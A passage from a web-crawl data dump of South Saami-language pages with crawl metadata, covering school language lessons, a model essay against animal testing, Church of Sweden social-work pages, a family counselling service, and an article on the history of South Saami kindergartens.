maadth-baakoeh.\n2. laavenjasse\nTjaelieh muvhth raajesh mah vuesiehtieh dah joekehtsh saemien-gïelen jïh daaroen-gïelen gaskem.\n3. laavenjasse\nBuerkesth dam maam tjaelije soptseste saemien-gïelen bïjre.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/171838?fag=126960","date":"2017-04-28T17:45:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123046.75\/warc\/CC-MAIN-20170423031203-00484-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":216,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stientjen jåarhkeskuvle lea Stientjen tjïeltesne Noerhte-Trøøndelaagesne. Skuvlesne medtie 1100 learohkh jïh 240 barkijh. Tjaktjen 2011 raajan learohkh jïh barkijh gøøktine goevtesinie joekedamme, Guldbergaunet jïh Egge. Tjaktjen 2011 raejeste abpe skuvle seamma sijjesne Guldbergaunesne.\nSkuvle 10 øøhpehtimmieprogrammh faalehte ållesth 12 øøhpehtimmieprogrammijste, dovne åvtelhlohkemeøøhpehtimmie-programmh jïh barkoefaageles øøhpehtimmieprogrammh:\nÅvtelhlohkeme øøhpehtimmieprogramme\nGaarsjelimmiefaage\nStudiespesialiseringe\n- Programmesuerkie realfaagese\n- Programmesuerkie gielese, siebriedahkefaagese jïh øøkonomijese\n- Programmesuerkie vytnjesjimmiefaagese\nBarkoefaageles øøhpehtimmieprogrammh\nHealsoe- jïh sosijalefaage\nRestaurante-jïh beapmoefaage\nHoksehtimmie jïh vuelkeme\nDesigne jïh vytnesjimmie\nElektro\nTeknihke- jïh industrijelle dorjemasse\nBigkeme-jïh tseegkeldahketeknihke\nMeedija jïh kommunikasjovne\nStudiespesialiserende øøhpehtimmieprogramme lea støøremes. Daate programme medtie aktem gåalmahtassem dejstie learohkijste utnehte.\nStientjen jåarhkeskuvle aaj diedtem åtna geerveøøhpehtæmman jïh kuvsjide Stientjen vierhtiejarngen tjïrrh. Lissine giehtelibie roestegåetieøøhpehtimmine laavenjostosne Fylhkenålmine Hordalaantesne, Kriminalehoksine regijovne noerhte jïh Verdalen Fengsel'inie.\nEktine Hadselen jåarhkeskuvline Nordlaantesne laavenjostebe akten teknihkeles faageskuvlefaalenassen bïjre gusnie inhtse maahta elkraftine åahpanidh.\nMijjen nedtesæjrojne bïevnesh gaavnh mijjen faalenassi bïjre, guktie skuvle øørnedamme, gieh skuvlesne berkieh jïh ånnetji diedtesuerkiej bïjre. Datne sïjhth aaj bievnesh dov reaktaj jïh diedti bïjre gaavnedh mah datne goh learohke åtnah, learohkeraerien darjoen bïjre jïh jïjnje vielie.\nDastegh vielie bïevnesh daarpesjh maahtah skuvline govlehtalledh e-påastine jallh tellefovnine.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/steinkjer.vgs.no\/samisk\/Sider\/default.aspx","date":"2017-04-23T11:51:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118552.28\/warc\/CC-MAIN-20170423031158-00571-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999495745,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.99994957447052}","num_words":172,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TRAS - Vïhtesjimmie gïeleste biejjieladtje ektiebarkosne\n|ISBN:||\n\n\n9788273749215\n|Forlag:||\n\n\nDavvi Girji\n|Trykkeår:|\n|Utgitt:||\n\n\n2013\n|Vekt:||\n\n\n20 gr\nMAGE (Maanaj Aareh GïeleEvtiedimmie - biejjieladtje ektiebarkosne) lea dïhte åarjelsaemien låhkoe goereste TRAS, akte materijelle juktie gïelem jïh gïeleevtiedimmiem maanaj luvnie maanagïertesne vïhtesjidh. MAGE-vïhtesjimmiegoerine gåarede maanaj gïeleevtiedimmiem vuarjasjidh dan vööste maam … LES MER maahta veanhtadidh dejnie ovmessie aaltarinie. Maahta vïhtesjimmiegoerem nuhtjedh juktie maehtedh fulkesidh jïh vuarjasjidh gïeleevtiedimmiem maanaj luvnie. LES MINDRE\nGå ikke glipp av nyheter og gode tilbud. Meld deg på vårt nyhetsbrev og hold deg oppdatert!","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.haugenbok.no\/TRAS-Vihtesjimmie-gieleste-biejjieladtje-ektiebarkosne\/I9788273749215","date":"2017-04-29T07:32:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123318.85\/warc\/CC-MAIN-20170423031203-00521-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9998143315,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998143315315247}","num_words":80,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuesiehtimmie-tjaalege: Nihtieh kreeke-pryövenassh!\nDaennie sæjrosne maahtah vuesiehtimmie-tjaalegem «Nihtieh kreeke-pryövenassh!» lohkedh. Vuesiehtimmie-tjaalege vuesehte guktie maahtah argumenteereles tjaalegh tjaeledh.\nNihtieh kreeke-pryövenassh!\nIkth jaepien, voerhtjen 24. biejjien, lea pryövenassh-kreeki biejjie. Veartenen kreekevaarjelimmie-åårganisasjovnh nænnoestamme daate akte gaske-nasjovnaale biejjie. Daejnie biejjine vaajtelieh jienebh almetjh aelkieh ussjedidh dejtie kreekide mah jeenjemes njåvtasuvvieh jïh eah maehtieh jïjtjemse vaarjelidh.\nGellie millijovnh kreekh laboratovrine geereldahkesne, gusnie njåvtasuvvieh baaktjes pryövenassigujmie. Ij naan kreekevaarjelimmie-laake gååvnesh mij maahta irhkemem heerredidh. Daesnie Nöörjesne gidtjh dotkeme aaj tjeakoes, guktie ibie åadtjoeh daejredh mij heannede.\nJïjnjesh utnieh pryövenassh kreekide leah maereles juktie dah leah almetji buaratjommesen gaavhtan. Dellie datne edtjh daejredh, dah jeanatjommes pryövenassh leah kosmetihken, reejneme-mehtien jïh plearoeh aati bïjre. Lissine, dle medisijnen pryövenassh fer muevies illedahkh vedtieh.\nAlmetji stööremes healsoe-dåeriesmoerh daan biejjien leah dah mah gohtjesuvvieh jieledevoete-skïemtjelassh. Dah leah skïemtjelassh mejtie åadtjobe juktie ibie bodtjehke-laakan jielieh. Mannasinie dotkijh edtjieh kreekh irhkedh juktie bådtjah gaavnedh skïemtjelassi vööste mah jïjtjene skåaltoe? Mijjieh byörebe buerebh mijjen jielede-viejsjieh jeatjahtehtedh. Ij mijjen naan reakta baajedh kanijnh, rööhtsh, bïenjh jïh jeatjah kreekh vaejviedidh mijjen gaavhtan!\nP.Thoresen, Kreekevaarjelimmie Verdaelie\nBaakoeh\nkreeke-pryövenassh\ndyreforsøk\nkreekevaarjelimmie-åårganisasjovnh\ndyrevernsorganisasjoner\ngaske-nasjovnaale\ninternasjonal\ngeereldahkesne\ninnesperret\nkreekevaarjelimmie-laake\ndyrevernslov\nreejneme-mehtie\nrengjøringsmiddel\njieledevoete-skïemtjelassh\nlivsstilssykdommer\nbodtjehke-laakan\nsunt\njielede-viejsjieh\nlevevaner\nKontekst\nBrukes i\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- bruke kunnskap om retoriske appellformer i presentasjoner\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/172882?fag=126960","date":"2017-04-25T08:39:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120206.98\/warc\/CC-MAIN-20170423031200-00400-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9998579025,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998579025268555}","num_words":266,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"test\nSaemien lohkemejarnge lea akte vierhtiejarnge joekoen loehkehtimmievuekien vøøste modtedamme, maanagïerten daltesistie jollebe øøpehtæmman.\nSaemien lohkemejarnge vijrieslaakan barkeminie juktie njaalmeldh jïh tjaaleldh saemien skreejredh årroji luvnie.\nGoh åejviesuerkieh mijjieh lohkeme- jih tjaelemelohkehtimmine jih njaalmeldh gieleevtiedimmine barkebe. Daate faarhmeste nænnoestidh jïh skreejredh njaalmeldh saemien gïelem nuhtjedh lohkehtimmiesystemesne, daajroe jienebegïelevoeten jïh gïelejealajimmien bïjre, jïh daajroem saarnodh lohkemen jïh tjaelemen bïjre. Mijjieh aaj dotkemejih evtiedimmiebarkojne giehtelibie ektiedamme daejtie faagesuerkide.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/samas.no\/se\/node\/397","date":"2017-05-24T02:24:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607731.0\/warc\/CC-MAIN-20170524020456-20170524040456-00362.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":66,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov åålmege vielie maahta soptsestidh\nGovlehtallh dejnie dov åålmeginie vielie bïevnesh dej sosiale barkoen bïjre åadtjodh.\nSkïemtjegåetiegærhkoe\nDïhte gie vaajvesåvva jïh viehkiem daarpesje maahta rïekte gærhkose skïemtjegåetesne jarkelidh. Gosse tjïehtjelh gusnie rohkelidh jïh barkijh gååvnesieh desnie gærhkoe dovne skeamhtjohkidie, dej fuelhkide jïh barkijidie gïeh sijhtieh oktegimsie giejnie soptsestidh jïh sealoem vaarjelidh, gyrhkesjidh jïh rohkelimmesne meatan årrodh. Hearrah, dijakonh jïh jeatjah gïeh skïemtjegåetiegærhkosne berkieh sjeavodhvoetedïedten nuelesne jïh eah gænnah maam tjaelieh. Eah daarpesjh kristegassjh årrodh jis skïemtjegåetiegærhkoen gåajkoe mïnnedh. Jis guhte skïemtjelassen gielhtie ij maehtieh rohkelimmietjïehtjelasse båetedh hearra maahta skïemtjelassen gåajkoe båetedh.\nBarkoe slïerkevoeten vuestie\nSvïenske gærhkoe sæjhta maanide, noeride jïh geerve almetjidie dåarjodh giejtie slïerkevoetem gærhkoen byjreskistie asvedamme. Lahtese slïerkevoete leah gaajhke måedtie sexuale slïerkevoeth, rantan noerhkedh negkedh, dovne meadtahtallemh jïh dagkerh gosse moralen vuestie gevsiedieh. Aaj irhkie gosse lahteste, daejrehte jïh dååjrehte sexuale aamhtesi bïjre gïen syjhteden vuestie. Aarebi dagkere slïerkevoetem sïjhtin sjaavoehtidh. Svïenske gærhkoe sæjhta barkedh juktie sjaavoe slïerkevoeten bïjre govloe, doestedh soptsestidh dan bïjre mij maahta heannadidh jïh destie dåemiedidh.\nGærhkoen fuelhkieraeriestimmie\nSvïenske gærhkoen fuelhkieraeriestimmie gaajhkesidie giej leah dåeriesmoerh sijjen lïhkemassigujmie. Maahta jarkelidh dïsse gie provresh jallh ektesne jielieh, dejtie giejtie juakadamme jallh gïeh edtjieh juakadidh, dïsse gïen vaejvie gosse juakadamme jïh dïsse gïen leah dåeriesmoerh sijjen lïhkemassigujmie soptsestalledh. Fuelhkieraeriestimmien barkijh sjeavodhvoetedïedten nuelesne berkieh jïh eah gænnah maam tjaelieh.\nVaejviedåehkieh\nAkte vaejviedåehkie lea dåahketje gusnie vïjhtesh gaaktsesh meatan mah gaavnedieh desnie soptsestidh sijjen åssjalommesi jïh domtoej bïjre gosse gie lïhkemes fuelhkesne sealadamme. Dåahketje naan aejkieh maehtehtje åvtehkinie maahta gaavnedidh jïh maahta jarkelidh disse giese jielemevoelpem, maanam jallh båarasåbpoe eejhtegem dasseme.\nGellie noere- jïh jåarhkeskuvline skuvlehearrah jïh dijakonh gååvnesieh desnie learoehkidie dåarjodh. Dovne skuvletïjjesne jïh eejehtimmesne learohkh maehtieh dej gåajkoe båetedh desnie gaajhken bïjre soptsestidh lïerehtimmeste identiteetese jïh jaahkose. Lohkh vielie daagkoe vuelege mennie sientine Svïenske gærhkoe datnem maahta dåarjodh.\nDennie sosijale barkosne aaj gaavnedieh dejgujmie giejtie dåeriesmoerh daalhkesigujmie utnieh jïh dej fuelhkiejgujmie dejtie dåarjodh jïh viehkiehtidh. Maahta soptsestallemedåehkieh nyjsenæjjide jïh gaarmanæjjide årrodh giejtie tjarmehtellieh jïh fuelhkide mïrhtoste viehkiehtidh mah eejhtegh jïh maanah deajvaskieh. Muvhten aejkien åålmegh aaj beetnehvierhtiejgujmie maahta viehkiehtidh dejtie giejtie daarpesjieh.\nDijakonh jïh hearrah sjeavodhvoetedïedten nuelesne berkieh. Dejtie båarasåbpojde jïh skeamtjohkidie vååksjedien, vaejviedåehkieh öörnieh jïh aktegs almetjigujmie jielemen aavoen jïh vaejvien bïjre soptsestieh.\nDennie sosijale barkosne Svïenske gærhkoe gellie siebriedahken institusjovnigujmie ektesne barka, jeatjah gærhkoej- jïh jaahkoesïebredahkigujmie ektesne jallh lååtjedihks åårganisatjovni ektesne. Gellie byjjes barkoesijjieh goh universiteth, åabpemedïenesjh, vaarjelimmiefaamoe, kriminalhokseme jïh polijse hearram utnieh.","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/www.svenskakyrkan.se\/nemhtie-grhkoe-datnem-maahta-daarjodh","date":"2017-05-29T22:34:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463613135.2\/warc\/CC-MAIN-20170529223110-20170530003110-00367.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":389,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsestæjja jïh vuajnoe\nGie soptsesem soptseste? Hævvi dïhte soptsestæjja. Tjaelije hæhtede mij heannede. Kaanne tjaelije lea ålma, men sæjhta nyjsenæjjan vuajnoste tjaeledh, dellie tjaelije baaja nyjsenæjjam soptsestidh. Kaanne soptsese lea maana-baeleste jïh dellie maanan tjïrrh soptseste.\nSoptsestæjja\nGie soptsesem soptseste? Hævvi tjaelije lea soptsestæjja, men tjaelije maahta mubpien almetjen tjïrrh soptsesem soptsestidh. Vuesiehtimmesne maahtah boelhketjem lohkedh novelleste maam Anna Sofie Holm Bull tjaaleme. Novellesne tjaelije noere nïejten tjïrrh soptseste.\nMov nomme lea Læjsa jïh manne leam 17 jaepien båeries. Manne leam åarjel-saemie jïh manne aktede voeneste daebpede åarjede båatam. Mov tjidtjie gonnoeh aehtjieh lægan saemieh, båatsoe-saemieh. Mov akte åabpa jïh akte vïelle, manne leam båarasommes. Mov vïene lea aaj mov laevie jïh månnoeh skuvlem vaedtsieminie staaresne govhte mïjlh gåeteste. Månnoeh gåetie-luhpiem seamma gåetesne utnien, akten båeries gåmman luvnie. Gosse hïelje sjædta dle bussem vaeltien jïh gåatan vuelkien eejhtegi jïh åerpeni gåajkoe.\nIj tjaelije tjoerh soptsestæjjine årrodh. Soptsestæjja lea dïhte gïele mij dahkoem soptseste lohkijasse. Tjaelije viehkie-dïrregem nænnoste guktie soptsesem soptsestidh, jïh dellie veeljie gie galka soptsesem soptsestidh.\nVuajnoe\nVuajnoe lea man jïjnje soptsestæjja almetji jïh dahkoej bïjre jeahta. Jis dahkoe almetjen tjïrrh soptsesåvva dellie daan almetjen vuajnoem gaertjiedamme. Mijjieh maehtebe ajve åadtjodh daejredh maam almetje jïjtje ussjede, vuajna, gåvla jallh dååjroe. Jis autarale soptsestæjja dellie vuajnoem vijriedamme. Dellie åadtjobe daejredh maam gaajhkh almetjh soptsesisnie ussjedieh jïh dååjroeh.\nvuajnoe\nsynsvinkel\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171366?fag=126960","date":"2017-05-24T10:15:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00051.warc.gz","language":"sma","language_score":0.9997480512,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997480511665344}","num_words":300,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærhkoen eeremes barkoe\nSvïenske gærhkoen eeremes barkoeh leah gyrhkesjidh, ööhpehtidh jïh dovne dijakonije jïh missjovne barkojne gïehtelidh. Åålmegen dan dïedte dejnie gïehtelidh gaajhkesidie mah desnie årroeh jïh gïeh åålmegisnie guessine. Desnie nuepiem laavkodh, skylledh, pruvredh jïh juvledh.\nGyrhkesjimmieh\nGyrhkesjimmesne nuepiem Jupmielinie gaavnedidh jeatjebigujmie ektesne åålmegisnie.\nFaamoem åadtjoejibie gosse rohkelibie, aejlies maalestahkem åadtjoejibie jïh gosse åadtjoejibie laavlodh. Gaajhkesh dovnesh leah buerie båeteme sijjen jaahkojne jïh jïejkeminie. Gærhkoen vuekiem domtedh gyrhkesjimmien ovmessie bielide maehtebe vuejnedh, musihkesne govledh jïh gærhkoen rïeseldahkeste vuejnedh. Aaj åadtjoejibie orrestimmiem lohkemisnie, laavloemisnie jïh rohkelimmesne gaavnedidh.\nÖöhpehtimmie\nJesuse abpe sov jieliemisnie almetjidie ööhpehti. Vierteds soptsesti jïh almetjigujmie soptsestalli mejtie gaavnedi, sïjhti Jupmelen gieriesvoetem vuesiehtidh. Dejtie learoehkidie stilli båvroem juhtiehtidh jïh nemhtie mijjen biejjine aaj. Gosse daan biejjien ööhpehtimmiem ussjedibie eeremes dejtie skyllijemaanide ussjedibie. Badth gosse naemhtie almetjigujmie gaavnedibie mij akt orre, sinsitniem jïh jïjtsen bïjre lïerebe. Nemhtie maehtebe goerkesidh mij dïhte almetjinie årrodh.\nDijakonije\nDijakonije lea gærhkoen sosijale barkoe. Desnie meatan årrodh, earoem vuesiehtidh jïh dåajmijeslaakan sinsitnide årrodh gosse almetjh gaavnede mah mådtanlaaketje jielemetsiehkine. Daan maadtoe lea Jupmelen gieriesvoete, mij mijjide almetjinie Jesus Kristusinie gaavnebe.\nMissjovne\nMissjovnem guarkebe goh \"seedteme\" jïh båvroem buerkeste maam learohkh åadtjoejin gosse sijjen jaahkoem jeatjabidie vïhnesjidh. Daan biejjien gærhkoe meatan dennie seedtemisnie gosse almetjigujmie gaavnede dovne lïhkesbyjreskisnie jïh mijjen laanten raasti ålkolen. Dan åvtese missjovne åålmegen bïjre jïh maam desnie dorje jïh guktie jeatjah gærhkojde bïjre jarkan veartanisne dåarjohte dej barkojne Jesusen bïjre vihnesjidh. Dam dorje gosse beetnegh vedtieh jïh gosse barkijh stïllieh, v.g lohkehtæjjah, dåakterh, ekonomh jallh hearrah.\nSvïenske gærhkoe ålkoerijhkesne\nÅlkoerijhkegærhkoe gaajhkh ålkoerijhkeåålmegidie jïh jeatjah ålkoerijhkestillemidie feerhmie. Moenehtse Svïenske gærhkose ålkoerijhkesne nænnoeste mij ålkoerijhkeåålmegh Svïenske gærhkoen nuelesne edtjieh årrodh. 45 ålkoerijhkeåålmegh gååvnesieh jïh dovne medtie gaektsieluhkie gyrhkesjimmiesijjieh gusnie daan baelien pruvhkieh tjåanghkenidh.\nLohkh vielie Svïenske gærhkoen saemien barkoen bïjre daesnie.","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/www.svenskakyrkan.se\/defaultaspxid655194","date":"2017-05-23T18:48:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607649.26\/warc\/CC-MAIN-20170523183134-20170523203134-00471.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":287,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh soptsestimmiem paaride, fuelhkide, jih aajne almetjidie faalebe mah aehpie ektiejieliejisnie jih\/jallh relasjovnine utnieh.\nDïhte maahta vuesiehtimmien gaavhtan arrijh:\n- dåtnoeh utneden\/dijjieh utnede aehpie sinsitnine soptsestidh\n- stoerre hïehpetji jeatjahdehtemem sjïdti gosse dåtnoeh maanam åadtjoejiden\n- dåtnoeh aehpie utneden buerkiestimmiem ektievoeten dåeriesmoeride gaavnedh\n- seksuellen ektievoetem ij buerielaakan jåhta\n- damtemidie jamhkeme\n- aktem dotneste akten jeatjah råakeme\n- dåtnoeh aehpie utneden dijjen orre fuelhkine buektiehtidh (mov maanah, dov maanah, monnen maanah jih numhtie)\n- dåtnoeh jallh aktem dotneste separasjovnem jallh juekiedimmiem nännoestamme\n- juekiedimmien\/separasjovnen männgan dåtnoeh utneden\/datne åtnah aehpie ïejmestalledh.\nMijjieh goh fuelhkieraeriestimmieh barkeminie, sosionomh libie mah jåarhkeööhpehtassem vaalteme jih guhkies barkoedååjrehtsem utnebe. Mijjien ambisjovne lea ahte profesjonellen dåastoehtimmiem faaledh jih akten soptsestimmiem mij nuepiem dotnese vedtien goltelidh jih ektesne soptsestidh akten skaepiedimmien vuekesne enn dåtnoeh vaane daajhtodh.\nMijjieh striengkies tjeakomem utnebe jih eah naan journalh tjaelebe.\nÅasam lea 180 kråvnah\/soptsestämman( gaatolen-mïnnemem debiteeren)\nMijjien åejviedåastoe Staaresne gååvnese jih mijjieh lissiedåastoeh Krokomesne, Hammarstrandesne, Järpenisnie, Svegesne, Straejmesne, Hackåsesne jih Bräckesne utnebe.\nTijjedonghkemasse ringhkh mijjen åejviedåastoem Staaresne, måanta, duarsta jallh bearjadahke 08.00-09.30, jallh molsehth-laakan däjstan jallh bearjadahken 10.00-11.30.\nBïevnesidie jih ov-dongkemem mïnnemistie gåerede hijven måantan-duarstan ringkedh, 08.00-16.30. Jeatjah aejkieh datne maahtah veeljedh akten bïevnesem mijjen telefovnevaestiedimmesne laehpedh.\nBuerie båeteme!\nFuelhkieraeriestimmiem Jïemhten leenesne\nRegementsgatan 11C (tjaangeldahkem Residensgränd:este)\n831 41 ÖSTERSUND\n063-15 02 50\nE-påaste: email@example.com","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/kulturcentrummankell.se\/omkommunen\/saepmiesameland\/fuelhkieraeriestimmiemfamiljeradgivning.4.4a5e18d31493bbd5bc1605c.html","date":"2017-06-25T15:43:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320539.37\/warc\/CC-MAIN-20170625152316-20170625172316-00341.warc.gz","language":"sma","language_score":0.9999803305,"language_script":"Latn","minhash_cluster_size":53,"top_langs":"{\"sma_Latn_score\": 0.9999803304672241}","num_words":194,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvisámegillii På norsk\nArtihkal girjjis Sámi skuvlahistorjá 3 Davvi Girji 2009.\n|Inger Johansen|\n(Jijtjedh guvvie Inger Johansen)\nInger Johansen lea soptestamme njielje nyjsenæjjajgujmie gieh leah maanagiertesne barkeme jallh jijtje maanah desnie åtneme. Dihte lea dåakterstipendiate Saemien jilleskuvlesne jih aamtse lea åarjelsaemien sosiolingvistikke. Reakasovvi jaepien 1977 jih byjjesovvi Orkangerisnie, Åarjelh-Trøndelagesne. Jeatja øøhpehtimmieh: Mastergradem mij noerhtegielide veadtaldihkie NTNU-este, gusnie aamhtse lij raeriestimmie gukte åarjelh-saemien gielem vihth bååstide viedtjedh.\n|Anita Dunfjell Aagård saemien skuvle-konferansesne, Tromsøesne 2003\n\n\n(Guvvie: Svein Lund)\nAnita Dunfjeld Aagård lea daelie lohkehtæjja Åarjel-saemiej skuvlesne. Dihte jaepien 1974 reakedi jih Snåasesne byjjesovvi gusnie aaj Åarjelsaemiej skuvlesne veedtsi. Dan øøhpehtimmieh leah: Lohketæjja-øøhpehtimmie Bodøen lohkehtæjja jilleskuvleste jih NTNU, bieliejaepie lohkeme åarjelsaemien jih ektesvuekiefaage gusnie diedte saemiej vuekiej bijre daejredh Jilleskuvleste Noerhte-Trøndelageste jih Nesneste jih åarjelsaemien gaskefaage Universiteteste Tromsøeste.\nHanne-Lena Wilks, Åarjel-saemiej maanagiertesne, maanaj ektine: Nihko-Laara Påve Wilks jih Hilma Dunfjeld Mølnvik.\nHanne-Lena Wilks lea båatsoe-burrie jih aaj giehtele giete-vætnojne. Dihte reakasovvi jaepien 1968 jih byjjesovvi Skæhkere sijtesne, Snåasesne. Altese øøhpehtimmieh leah: Guvviedimmie teknigken tjirrh, guvviedimmie, hammoedarjome jih klaerie, Saemiej Øøhpehtimmiejarnge Jokkmokkesne jih garresduetie jih muadta\/skåerrieøøhpehtimmie, dååhkesjimmieprievie duadtan veadtaldihkie. Dihte aaj åarjel-samien gielem Jilleskuvlesne Noerhte-Trøndelagesne lohkeme.\n\n\nAnne-Lise Dunfjeld\nAnne-Lise Dunfjeld lea lohkehtæjja Åarjel-saemiej skuvlesne. Dihte reakedi jaepien 1955 jih byjjesovvi Evenesen tjieltesne, Nordlandesne. Dihte lohkehtæjja-øøhpehtimmiem Tromsøesne veelti, åarjel saemien gielem lohki Nesnan jilleskuvlesne, jih ektesvuekiefaagem lohki gusnie saemiej aamhtsh jarngesne tjåadtjoeminie jih 5-9-jaepiej-pedagogikem Jilleskuvleste Noerhte-Trøndelagesne jih gelliekulturi gorkesimmie Saemiej jilleskuvlesne.\n|Olaug Pettersen lea rektovre Åarjel-saemiej skuvlesne jih åvtehke Åarjel-saemiej maanagiertesne. Dihte reakasovvi jaepien 1963 jih byjjesovvi Frostesne, Noerhte-Trøndelagesne. Dihte lohkehtæjja-øøhpetimmiem veelti Jilleskuvlesne, Bodøesne. Mænngan lissine veelti IKT, eatnamefaagem musigke-faagem jih guktie aaj jeatja almetjidie vierhtiehtidh. Dihte aerebi daaroen skuvlesne barki goh lohkehtæjja jih buerkiestæjja, åejvie-viertiehtæjja.|\n– Åå, dan aevhkies dihte maanagierte daesnie, Anita Dunfjeld Aagårde vietseles laakan jeahta. – Ij leah juerie man vihkeles daate maanagierte maanide gosse gielem gorredidh, lea Hanne-Lena Wilksen jååhkesjimmie. Anita jih Hanne Lena gåabpatjahkh maanah dennie Åarjel-saemiej maanagiertesne, Snåasesne utniejægan. Tjoveribie bååstide 80-taalese gosse dihte voestes Åarjel-saemiej maanagierte alkoelisnie eelki. Dihte maanagierte tjoeveken nualan bøøti goh gierte mij vøølki sijjeste sæjjan boelhketjh jaepeste. Jih gåetie-luhpie lij akte camping-våågna!\nAnne-Lise Dunfjeld gie lea barkeminie goh lohkehtæjja Åarjel-saemij skuvlesne, lea sjisjneldisnie dåeriedamme dejtie ovmesse faaleldahkide maanagiertesne, jih dihte lea eadtjohke orreme staeries øørnedahkem åadtjodh. – Måjhtam minniegietjesne 80-taalesne, dellie monnen niejtetjem Raavrvijhkese sedtimen juktie edtji åadtjodh saemien maanagiertesne desnie vaedtsedh, jeahta. Daate maanagierte lih ektesvuekiebarkoe Raavrvijhken tjielten gaskems jih eejhtegh Luvlie Njååmesjen båatsoeburrie dajveste. Dihte juhtieji jaepeste 1989 jaapan 1991.\n\n\nJaepien 1982-85 dihte 